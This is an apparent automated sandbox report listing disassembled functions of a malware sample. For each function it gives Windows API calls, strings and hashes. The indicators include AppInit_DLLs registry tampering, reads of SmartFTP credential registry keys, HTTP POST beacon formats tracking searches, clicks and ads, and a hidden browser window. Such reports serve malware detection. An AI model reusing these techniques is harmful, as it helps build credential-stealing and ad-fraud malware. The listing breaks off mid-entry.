Instruction Fuzzy Hash: 96A1C172F042158BCB24CF98D981B6E77B1EB84314F56813AD815A73D0DB39AC49CB9D

Function 00408825 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 172COMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32(?), ref: 004088E4
SysFreeString.OLEAUT32(?), ref: 004088E9
SysFreeString.OLEAUT32(?), ref: 004089D3
SysFreeString.OLEAUT32(?), ref: 004089D8
SysFreeString.OLEAUT32(?), ref: 004089F3

Strings

+@, xrefs: 0040884C

Memory Dump Source

Source File: 0000000E.00000002.1849032771.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_omsecor.jbxd

Similarity

API ID: FreeString
String ID: +@
API String ID: 3341692771-3835504741
Opcode ID: 93f0afddb38b81210f93c4942281d01229e6bb84a740b12f8f50e9dc1a7fc491
Instruction ID: a3ddab01b40b0bc50fc9c7e4bf61c95a679aea40eaf3a0ce7d8bcb6f132c7745
Opcode Fuzzy Hash: 93f0afddb38b81210f93c4942281d01229e6bb84a740b12f8f50e9dc1a7fc491
Instruction Fuzzy Hash: BB518171900219AFDF05BFA1CC45AEF7BB8EF08308F00447AF855B6192EB799A51CB59

Function 0040A786 Relevance: 10.6, APIs: 5, Strings: 2, Instructions: 121sleepmemoryCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00002710,00000000,00000000,00000000), ref: 0040A7A3
Sleep.KERNEL32(0000EA60,?,00000000,00000000,00000000), ref: 0040A899
Sleep.KERNEL32(00002710,?,?,?,?,?,00000000,00000000,00000000), ref: 0040A8CC
GetProcessHeap.KERNEL32(00000000,?,?,?,?,?,?,00000000,00000000,00000000), ref: 0040A8E5
HeapFree.KERNEL32(00000000,?,?,?,?,?,00000000,00000000,00000000), ref: 0040A8EC

Part of subcall function 00406D14: InternetAttemptConnect.WININET(00000000), ref: 00406D18

Strings

0, xrefs: 0040A848
confirm^rev=%s^code=%s^param=%s^os=%s, xrefs: 0040A7BA

Memory Dump Source

Source File: 0000000E.00000002.1849032771.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_omsecor.jbxd

Similarity

API ID: Sleep$Heap$AttemptConnectFreeInternetProcess
String ID: 0$confirm^rev=%s^code=%s^param=%s^os=%s
API String ID: 3100629401-2436734164
Opcode ID: 9652d423a98df953dd9117dceebf08b302c82fbb0c377fe7acd8f7bbba186267
Instruction ID: 7defdabbc875a2827947a9af70fbac2689cb4d570e6f2fffa55db425585f7fd8
Opcode Fuzzy Hash: 9652d423a98df953dd9117dceebf08b302c82fbb0c377fe7acd8f7bbba186267
Instruction Fuzzy Hash: C0418372D00618AACB11EBE1DC859DF73BCEF44304F10847BF505B6181EA789A558F9E

Function 0040253C Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 113sleepprocessfileCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00002710,00420840,00001000,00000000,?,0040B2BB,00000000,00000000,00000000,00000001,00000000,00000000), ref: 00402566
DeleteFileW.KERNEL32(00000000,00420840,00001000,00000000,?,0040B2BB,00000000,00000000,00000000,00000001,00000000,00000000), ref: 00402587
Sleep.KERNEL32(0000EA60,00000000,00000001,00000000,00000000), ref: 004025B3

Part of subcall function 00406D14: InternetAttemptConnect.WININET(00000000), ref: 00406D18

_memset.LIBCMT ref: 004025DA
CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000020,00000000,00420840,?,?,?,?,?,00000000,00000001,00000000), ref: 0040264D

Strings

none, xrefs: 00402614

Memory Dump Source

Source File: 0000000E.00000002.1849032771.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_omsecor.jbxd

Similarity

API ID: Sleep$AttemptConnectCreateDeleteFileInternetProcess_memset
String ID: none
API String ID: 2353737338-2140143823
Opcode ID: a9610d18699f1113e4a22a1a7ed1018a06f4e5a4b53e05e94114c749c06fc169
Instruction ID: 23ab6f573089ca27c74aa918c09813edc931bf25471b74fd790eff350109b64e
Opcode Fuzzy Hash: a9610d18699f1113e4a22a1a7ed1018a06f4e5a4b53e05e94114c749c06fc169
Instruction Fuzzy Hash: 8D319231A00219ABCB21EF61DE49AEF7769FF04748F00043BF905B21C1D6789A51CBAE

Function 004094B6 Relevance: 10.6, APIs: 7, Instructions: 81COMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32(?), ref: 004094E6

Memory Dump Source

Source File: 0000000E.00000002.1849032771.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_omsecor.jbxd

Similarity

API ID: FreeString
String ID:
API String ID: 3341692771-0
Opcode ID: 99a964074df9a43e7876bfa78059f63c2205d652b6a4e0ea0b2e4f8e9ecac31d
Instruction ID: b8745a711dcf8da59f3798694fa3079dcf63c40c9cdbadd59c4d39193402e254
Opcode Fuzzy Hash: 99a964074df9a43e7876bfa78059f63c2205d652b6a4e0ea0b2e4f8e9ecac31d
Instruction Fuzzy Hash: C9214832A00108BBDB01DFAADC44B9E7BB8EF48345F1484B6E805F71A1D774AE41DB84

Function 0040A245 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61memoryCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0040A26B
SysAllocString.OLEAUT32(?), ref: 0040A28E
SysAllocString.OLEAUT32(?), ref: 0040A296
SysFreeString.OLEAUT32(00000000), ref: 0040A2CA
SysFreeString.OLEAUT32(?), ref: 0040A2CF

Part of subcall function 00409FB1: GetTickCount.KERNEL32 ref: 00409FCE
Part of subcall function 00409FB1: GetTickCount.KERNEL32 ref: 00409FDE
Part of subcall function 00409FB1: Sleep.KERNEL32(00000064,?,?,0040A442,?,?), ref: 00409FEC
Part of subcall function 00409FB1: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00409FFB
Part of subcall function 00409FB1: DispatchMessageW.USER32(?), ref: 0040A009

Strings

J(@, xrefs: 0040A29E, 0040A2A1

Memory Dump Source

Source File: 0000000E.00000002.1849032771.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_omsecor.jbxd

Similarity

API ID: String$AllocCountFreeMessageTick$DispatchPeekSleep_memset
String ID: J(@
API String ID: 3143865713-2848800318
Opcode ID: 68495801366515c75ff4f7091ec1779cfaae467043e456767ef3efc9e03748a3
Instruction ID: bfa1c3e5fdaec5be4dfb18607c12502589e7fd5433bac8caf4aacda455aa0499
Opcode Fuzzy Hash: 68495801366515c75ff4f7091ec1779cfaae467043e456767ef3efc9e03748a3
Instruction Fuzzy Hash: 3A118F72D10219ABCB00DFA9DD448DEBBB9FF08354B11456AF415B7290E770AE14CFA4

Function 0040782A Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 60filetimeCOMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(00000000,?,00000400,00000000,UniqueNum), ref: 0040784D
CreateFileW.KERNEL32(?,80000000,00000003,00000000,00000003,00000000,00000000), ref: 00407864
GetFileTime.KERNEL32(00000000,?,00000000,00000000), ref: 00407879
CloseHandle.KERNEL32(00000000), ref: 00407880
GetTickCount.KERNEL32 ref: 00407888

Strings

UniqueNum, xrefs: 00407836

Memory Dump Source

Source File: 0000000E.00000002.1849032771.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_omsecor.jbxd

Similarity

API ID: File$CloseCountCreateHandleModuleNameTickTime
String ID: UniqueNum
API String ID: 1853814767-3816303966
Opcode ID: e7107705f7d645ec0444386ddfffd8695f1bbe122d048c6309b931cdd7db22a5
Instruction ID: 2f8cc66c71eb5b32faf52737d8a911681d4da4e376004c23895cdbe2f04b10ac
Opcode Fuzzy Hash: e7107705f7d645ec0444386ddfffd8695f1bbe122d048c6309b931cdd7db22a5
Instruction Fuzzy Hash: AE110633419220ABD210AB65EC4CA9B7FACEF45760F004A3AF964E21D0D6349211C7AB

Function 00407E2B Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 54fileCOMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32(00000000,00000000,00000000,UniqueNum), ref: 00407E5C
ReadFile.KERNEL32(?,00000064,00000001,00000000), ref: 00407E74

Part of subcall function 00407CD7: GetModuleFileNameW.KERNEL32(00000000,?,00001000,00000000,00000000,?,00407E44,00000001,UniqueNum), ref: 00407CF6
Part of subcall function 00407CD7: CreateFileW.KERNEL32(?,C0000000,00000000,00000000,00000004,00000002,00000000,?,00407E44,00000001,UniqueNum), ref: 00407D48

Strings

d, xrefs: 00407E7E
UniqueNum, xrefs: 00407E38
hOAd, xrefs: 00407E91
x, xrefs: 00407E86

Memory Dump Source

Source File: 0000000E.00000002.1849032771.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_omsecor.jbxd

Similarity

API ID: File$CreateModuleNamePointerRead
String ID: UniqueNum$d$hOAd$x
API String ID: 1528952607-1018652783
Opcode ID: 015ecc0cc43ae81723c1e035d0cdbf130f909c8143b489dc0bfa89a80df37f55
Instruction ID: 0df55d11f519ebf6f0451cc58b4543fb7278309a9039aac926228ebb90f40a66
Opcode Fuzzy Hash: 015ecc0cc43ae81723c1e035d0cdbf130f909c8143b489dc0bfa89a80df37f55
Instruction Fuzzy Hash: 5311A531D09308AADF109B61DD05BDB3B6AAB00324F218676E612F61E0E7749D44CBAE

Function 00408604 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 53registryfileCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(80000002,Software\Microsoft\Windows NT\CurrentVersion\Windows,00000000,00000001,?,?,00000000), ref: 00408628
GetLastError.KERNEL32(?,00000000), ref: 0040864A

Part of subcall function 004069C0: RegQueryValueExW.KERNELBASE(00000000,00000000,00000000,00000000,?,00000000,7686E9B0,?,?,?,0040AC8C,IueiOod,?,?,0040AB30,?), ref: 004069E3
Part of subcall function 004069C0: RegCloseKey.KERNELBASE(00000000,?,?,?,0040AC8C,IueiOod,?,?,0040AB30,?,?,0040B3E5), ref: 004069ED

DeleteFileW.KERNEL32(C:\WINDOWS\system32\gbdwpbm.dll,?,00000000), ref: 00408687

Part of subcall function 004069FD: RegCreateKeyExW.ADVAPI32(0040EA48,00000000,00000000,00000000,00000000,00020006,00000000,00000002,0040EA48,?,?,?,?,00406AD3,80000001,AppEvents\Schemes\Apps\Explorer\Navigating\.current), ref: 00406A22

Strings

C:\WINDOWS\system32\gbdwpbm.dll, xrefs: 00408682
Software\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 00408619, 0040861E, 00408676
AppInit_DLLs, xrefs: 00408639, 00408671

Memory Dump Source

Source File: 0000000E.00000002.1849032771.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_omsecor.jbxd

Similarity

API ID: CloseCreateDeleteErrorFileLastOpenQueryValue
String ID: AppInit_DLLs$C:\WINDOWS\system32\gbdwpbm.dll$Software\Microsoft\Windows NT\CurrentVersion\Windows
API String ID: 4026185228-3265104503
Opcode ID: b4fb547f36a341d56e63cd8c3141924342823e6c0e28cdd89059e7ce4998d0d2
Instruction ID: 1689b80d2e7b4165945397198c320d7ed833f5e108bfbebac4dfc06446509e60
Opcode Fuzzy Hash: b4fb547f36a341d56e63cd8c3141924342823e6c0e28cdd89059e7ce4998d0d2
Instruction Fuzzy Hash: 99014CB2A44124B6E62067665E06F9B72AC9B00750F220D7BF905F31C0DABA9D1446AD

Function 00409A99 Relevance: 10.5, APIs: 2, Strings: 4, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(?), ref: 00409B00
SysAllocString.OLEAUT32(?), ref: 00409B0E

Strings

</url>, xrefs: 00409ACC
<title>, xrefs: 00409AAC
</title>, xrefs: 00409AA7
<url>, xrefs: 00409AD1

Memory Dump Source

Source File: 0000000E.00000002.1849032771.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_omsecor.jbxd

Similarity

API ID: AllocString
String ID: </title>$</url>$<title>$<url>
API String ID: 2525500382-2286408829
Opcode ID: accc4c2b32817054c02e480ca82d26facf4490b578c9b74d600f9b3addd9539d
Instruction ID: e94fff7a9c4556839c155ffec7726d55edf757161a42396596b5093e86978141
Opcode Fuzzy Hash: accc4c2b32817054c02e480ca82d26facf4490b578c9b74d600f9b3addd9539d
Instruction Fuzzy Hash: 4F01DB7564021CA7DB116A55CC41FD637A8BB44799F044077FA04F32C3E978AA0C4BA4

Function 0040A8F9 Relevance: 9.2, APIs: 4, Strings: 2, Instructions: 161sleepmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00406D14: InternetAttemptConnect.WININET(00000000), ref: 00406D18

Sleep.KERNEL32(00002710,?,?,?,?,00402C8F,00000032,00000000,00000000,00000000,00000000,?), ref: 0040A91C
Sleep.KERNEL32(00002710), ref: 0040AAC1
GetProcessHeap.KERNEL32(00000000,00000000), ref: 0040AAE9
HeapFree.KERNEL32(00000000), ref: 0040AAF0

Strings

jstat^rev=%s^code=%s^site=%s^searches=%s^clicks=%s^adver=%s^os=%s, xrefs: 0040A957
0, xrefs: 0040AA5B

Memory Dump Source

Source File: 0000000E.00000002.1849032771.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_omsecor.jbxd

Similarity

API ID: HeapSleep$AttemptConnectFreeInternetProcess
String ID: 0$jstat^rev=%s^code=%s^site=%s^searches=%s^clicks=%s^adver=%s^os=%s
API String ID: 3713053250-1268808612
Opcode ID: 27a49e9b0a243f6ea4d036eb24575c3a25ef3ed8582b626cf885f00009b11edd
Instruction ID: cb73c9a78e41fc00613c6eff30345c36a412e41c8c720ed22b53be089701fd16
Opcode Fuzzy Hash: 27a49e9b0a243f6ea4d036eb24575c3a25ef3ed8582b626cf885f00009b11edd
Instruction Fuzzy Hash: 88515072A00218A6CF10EB95DC959DF737DEF44308F40447BF406B7281EB789A958FAA

Function 00407499 Relevance: 9.1, APIs: 6, Instructions: 62timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?,?), ref: 004074AD
GetLocalTime.KERNEL32(00000000), ref: 004074B3
GetTimeZoneInformation.KERNEL32(?), ref: 004074EA
SystemTimeToFileTime.KERNEL32(000007D8,?), ref: 00407525
SystemTimeToFileTime.KERNEL32(000007D8,?), ref: 0040752F
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0040754A

Memory Dump Source

Source File: 0000000E.00000002.1849032771.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_omsecor.jbxd

Similarity

API ID: Time$FileLocalSystem$InformationUnothrow_t@std@@@Zone__ehfuncinfo$??2@
String ID:
API String ID: 3777474486-0
Opcode ID: dc75d57b0fd5e0fdd9494c9f665b53f3e55cd7f2b0e9017e93342081d6970c63
Instruction ID: c9ff0a62426275c5a0d4f0aa0fa2549fa158b312224671bef63f429b7f92df75
Opcode Fuzzy Hash: dc75d57b0fd5e0fdd9494c9f665b53f3e55cd7f2b0e9017e93342081d6970c63
Instruction Fuzzy Hash: 03112C72D1022DAADF00EBD4DC44AEEB7FCBF48314F04445AE901B7240E7B9A608CBA5

Function 004083C4 Relevance: 9.1, APIs: 6, Instructions: 61filememoryCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,80000000,00000007,00000000,00000003,00000000,00000000), ref: 004083DC
GetFileSizeEx.KERNEL32(00000000,?), ref: 004083EF
VirtualAlloc.KERNEL32(00000000,?,00003000,00000004), ref: 00408417
ReadFile.KERNEL32(?,00000000,?,?,00000000), ref: 0040842F
VirtualFree.KERNEL32(?,00000000,00008000), ref: 00408449
CloseHandle.KERNEL32(?), ref: 00408452

Memory Dump Source

Source File: 0000000E.00000002.1849032771.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_omsecor.jbxd

Similarity

API ID: File$Virtual$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 1974014688-0
Opcode ID: c2b876117cf5bdd4c26ea99d0d1f22b8a7b68d93f1e59a17f5f06edaaf93f8ba
Instruction ID: 01d1f8b5f38b633e5055412454defe488cd8fa266e80ff04f0611ceb3180ae32
Opcode Fuzzy Hash: c2b876117cf5bdd4c26ea99d0d1f22b8a7b68d93f1e59a17f5f06edaaf93f8ba
Instruction Fuzzy Hash: 47115170500201FBEB305F56CE49E5BBBB9EB90700F10892DF596F21E0EB74A951DB28

Function 00409DF4 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 110networkfileCOMMON

Download Yara Rule

APIs

InternetConnectW.WININET(?,00000050,00000000,00000000,00000003,00000000,00000000,?), ref: 00409EA3
HttpOpenRequestW.WININET(00000000,POST,04400100,00000000,00000000,00000000,04400100,00000000), ref: 00409EC3
HttpSendRequestW.WININET(00000000,00000000,00000000,?,?), ref: 00409EDA
InternetReadFile.WININET(00000000,?,00001000,?), ref: 00409F00

Strings

POST, xrefs: 00409EBD

Memory Dump Source

Source File: 0000000E.00000002.1849032771.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_omsecor.jbxd

Similarity

API ID: HttpInternetRequest$ConnectFileOpenReadSend
String ID: POST
API String ID: 961146071-1814004025
Opcode ID: 20f9c5eacef7b48b8181bad7e01822bf71c4addd269446e4957b1a187c5c6ded
Instruction ID: 440a75f1c6cd1a7483e62584c22426b42aa3ce760e55699d8a89a0e8c7b72afb
Opcode Fuzzy Hash: 20f9c5eacef7b48b8181bad7e01822bf71c4addd269446e4957b1a187c5c6ded
Instruction Fuzzy Hash: B8318E71900119BFDB10DBA4DC84EFE7679EB54349F14087AFA41B62C2D6385E448BA8

Function 00405136 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 79COMMON

Download Yara Rule

APIs

Part of subcall function 0040848F: RegOpenKeyExW.ADVAPI32(80000002,?,00000000,00000001,?,00000104,00000000,?,?,?,00403796,?,?,00000104,?,00000000), ref: 004084A5

ExpandEnvironmentStringsW.KERNEL32(?,?,00000104,?,?,?,00000008), ref: 004051EB

Strings

SOFTWARE\smartftp\client 2.0\settings\general\favorites, xrefs: 00405157
SOFTWARE\smartftp\client 2.0\settings\backup, xrefs: 00405168
personal favorites, xrefs: 00405176
folder, xrefs: 00405184

Memory Dump Source

Source File: 0000000E.00000002.1849032771.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_omsecor.jbxd

Similarity

API ID: EnvironmentExpandOpenStrings
String ID: SOFTWARE\smartftp\client 2.0\settings\backup$SOFTWARE\smartftp\client 2.0\settings\general\favorites$folder$personal favorites
API String ID: 3923277744-821743658
Opcode ID: e843f97767911fec9b6fd3034691d6ab50a9750596cd8693bb12be5acb83529b
Instruction ID: 0454e2dbaba930a1c05830d090df37f1eb9a44f33d61805f8e12f109ce5a2445
Opcode Fuzzy Hash: e843f97767911fec9b6fd3034691d6ab50a9750596cd8693bb12be5acb83529b
Instruction Fuzzy Hash: 21213E71D00518ABDB10EB95DC41ADFB7BCEB44318F1084B7E514B2181EB389B49CFA9

Function 0040A0B5 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 69COMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 0040A0C0
GetModuleHandleW.KERNEL32(00000000,00000000,?,?,0040A16F,00427ED0,00000000,00000001,?,00402806,?), ref: 0040A0CE
CreateWindowExW.USER32(00000000,AtlAxWin,Shell.Explorer,80000000,00000000,00000000,000004B0,00000320,00000000,00000000,00000000), ref: 0040A0F3

Strings

Shell.Explorer, xrefs: 0040A0E8
AtlAxWin, xrefs: 0040A0ED

Memory Dump Source

Source File: 0000000E.00000002.1849032771.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_omsecor.jbxd

Similarity

API ID: CreateHandleInitializeModuleWindow
String ID: AtlAxWin$Shell.Explorer
API String ID: 950422046-1300462704
Opcode ID: e9b6661190c81bdf072f7cb3f1dc159ab5559684b807faa4a04e62d0e94038f2
Instruction ID: 8885d0d040d3ab3e1edd42f45155a7fe84e7bff231f75e8e802cb7627400a982
Opcode Fuzzy Hash: e9b6661190c81bdf072f7cb3f1dc159ab5559684b807faa4a04e62d0e94038f2
Instruction Fuzzy Hash: 78118F30200200FFD320ABA6CC4CE6B7BBCEFCA711B240579F515EB291D7789801CA65

Function 00407267 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 53timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(?,?,000003E8,?,?,?,?,?,?,?,?,?,?,?,00407B63,?), ref: 0040727C
SystemTimeToFileTime.KERNEL32(?,?,?,000003E8,?), ref: 004072C1
SystemTimeToFileTime.KERNEL32(000007B2,?), ref: 004072CB
__aulldiv.LIBCMT ref: 004072E3

Strings

c{@, xrefs: 004072D3

Memory Dump Source

Source File: 0000000E.00000002.1849032771.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_omsecor.jbxd

Similarity

API ID: Time$System$File$__aulldiv
String ID: c{@
API String ID: 3735792614-264719814
Opcode ID: a145c05d1847671377470c3096bfc685d9fda3d476ef25e64420ea8c3ac11d0d
Instruction ID: ef19eb4ac8525f4bf2260e0142840e6d018c3cac6eb9bd4f47b1f5cd165e8a78
Opcode Fuzzy Hash: a145c05d1847671377470c3096bfc685d9fda3d476ef25e64420ea8c3ac11d0d
Instruction Fuzzy Hash: D401DE62D1022DAACB01DFE4D984CEFB77DFF44348B00156AE901F7250E7B5AA4887A5

Function 004072ED Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 42timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,0040286E), ref: 004072F9
SystemTimeToFileTime.KERNEL32(?,?), ref: 00407337
SystemTimeToFileTime.KERNEL32(000007B2,?), ref: 00407341
__aulldiv.LIBCMT ref: 00407359

Strings

n(@, xrefs: 0040734C, 00407357

Memory Dump Source

Source File: 0000000E.00000002.1849032771.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_omsecor.jbxd

Similarity

API ID: Time$System$File$__aulldiv
String ID: n(@
API String ID: 3735792614-2525614082
Opcode ID: fb9972a15ff1dd7e61217f7ff9a5823acba4978d5a12943579487cf22718de7c
Instruction ID: 0875687ad9f8fbdff1f190dbab39d4211c2ed1a8acd2afdabfbd9ccbaffc37b8
Opcode Fuzzy Hash: fb9972a15ff1dd7e61217f7ff9a5823acba4978d5a12943579487cf22718de7c
Instruction Fuzzy Hash: 83011A66D2022DAACF00DBE5DD44CEFB7BCFF44344B04051AE901B3210E7B5A648CBA9

Function 0040AB7C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 30COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(00000000,?,00000400), ref: 0040AB93
CharLowerW.USER32(?), ref: 0040ABA0
GetCommandLineW.KERNEL32 ref: 0040ABC0

Strings

netprotdrvss.exe, xrefs: 0040ABA6
/updatefile3, xrefs: 0040ABC6

Memory Dump Source

Source File: 0000000E.00000002.1849032771.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_omsecor.jbxd

Similarity

API ID: CharCommandFileLineLowerModuleName
String ID: /updatefile3$netprotdrvss.exe
API String ID: 3118597399-3449771660
Opcode ID: a9092c2346d55b23f20d8634028d89874de2ded0d1b8197c9b1551ea588aa001
Instruction ID: 1eba2a713c21f7c79877a49aa3ec6850c44e44909145826ab611dd80b60fa5a6
Opcode Fuzzy Hash: a9092c2346d55b23f20d8634028d89874de2ded0d1b8197c9b1551ea588aa001
Instruction Fuzzy Hash: 41E09B3655021A5AD750FBB1DD07BA633ACFB01705F1049B6A246F10C0EE74D55D4F9D

Function 00409FB1 Relevance: 7.6, APIs: 5, Instructions: 53windowsleepCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00409FCE
GetTickCount.KERNEL32 ref: 00409FDE
Sleep.KERNEL32(00000064,?,?,0040A442,?,?), ref: 00409FEC
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00409FFB
DispatchMessageW.USER32(?), ref: 0040A009

Memory Dump Source

Source File: 0000000E.00000002.1849032771.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_omsecor.jbxd

Similarity

API ID: CountMessageTick$DispatchPeekSleep
String ID:
API String ID: 4159783438-0
Opcode ID: 45312298ad5970842c5ee584b14830e042aefe59ca6bdbaf3830585a06b866aa
Instruction ID: c0dc46c0c87f7bc49602bd7d2efae9f565a6f52602c3eafe7569a8fa2f6b8eea
Opcode Fuzzy Hash: 45312298ad5970842c5ee584b14830e042aefe59ca6bdbaf3830585a06b866aa
Instruction Fuzzy Hash: 3F118671D103199ECB10AFF5CC8899F7BB9BB45314B144A7AE161F71E0C778CA118B1A

Function 00409F2B Relevance: 7.5, APIs: 5, Instructions: 40windowsleepCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00409F5B
GetTickCount.KERNEL32 ref: 00409F5F
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00409F72
DispatchMessageW.USER32(?), ref: 00409F80
Sleep.KERNEL32(0000012C,?,?,?,?,00000000), ref: 00409F8D

Memory Dump Source

Source File: 0000000E.00000002.1849032771.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_omsecor.jbxd

Similarity

API ID: CountMessageTick$DispatchPeekSleep
String ID:
API String ID: 4159783438-0
Opcode ID: 57f1528c1cf960ce56ea9ee11f0e0f6d2bf2bfe74b8bc540e63205e3b9b5f8f9
Instruction ID: 2f378a1af0056e794f94b22e0cd08b0b0b180d2e60cd5d2ebdc62f673b65dbb1
Opcode Fuzzy Hash: 57f1528c1cf960ce56ea9ee11f0e0f6d2bf2bfe74b8bc540e63205e3b9b5f8f9
Instruction Fuzzy Hash: D1F0C872D042149BD714B7F2DD09B7D76A89B45714F104A36F551F70D1CA7CCD148A58

Function 00408692 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 152COMMON

Download Yara Rule

APIs

Part of subcall function 0040A469: InternetOpenW.WININET(00000000,00000001,00000000,00000000,00000000), ref: 0040A535
Part of subcall function 0040A469: InternetSetOptionW.WININET(00000000,00000041,00000000,00000004), ref: 0040A551

Part of subcall function 00409F2B: GetTickCount.KERNEL32 ref: 00409F5B
Part of subcall function 00409F2B: GetTickCount.KERNEL32 ref: 00409F5F
Part of subcall function 00409F2B: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00409F72
Part of subcall function 00409F2B: DispatchMessageW.USER32(?), ref: 00409F80
Part of subcall function 00409F2B: Sleep.KERNEL32(0000012C,?,?,?,?,00000000), ref: 00409F8D

CharLowerW.USER32(?,?,?,00423DD4,?,00000001), ref: 00408751
SysFreeString.OLEAUT32(?), ref: 0040875A

Strings

+@, xrefs: 004086A0
http://, xrefs: 00408711

Memory Dump Source

Source File: 0000000E.00000002.1849032771.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_omsecor.jbxd

Similarity

API ID: CountInternetMessageTick$CharDispatchFreeLowerOpenOptionPeekSleepString
String ID: http://$+@
API String ID: 147727044-3628382792
Opcode ID: a6511d5d8b0c810daf140c5c911559c37a96c1275369982660b5569d586a1c5f
Instruction ID: 305e6509dfdc939f3ffb47eba37a7af79922f54013ecb7534e3961c93d2e4cc1
Opcode Fuzzy Hash: a6511d5d8b0c810daf140c5c911559c37a96c1275369982660b5569d586a1c5f
Instruction Fuzzy Hash: 4E41D5729002199BCF15AF66CD056EFBBB4FF44314F20447FE981B3292DB3889528B99

Function 00407D61 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 81fileCOMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32(00414F68,00000000,00000000,00000000,UniqueNum,00000001), ref: 00407E09
WriteFile.KERNEL32(00000078,00000064,00000001,00000000), ref: 00407E20

Part of subcall function 00407CD7: GetModuleFileNameW.KERNEL32(00000000,?,00001000,00000000,00000000,?,00407E44,00000001,UniqueNum), ref: 00407CF6
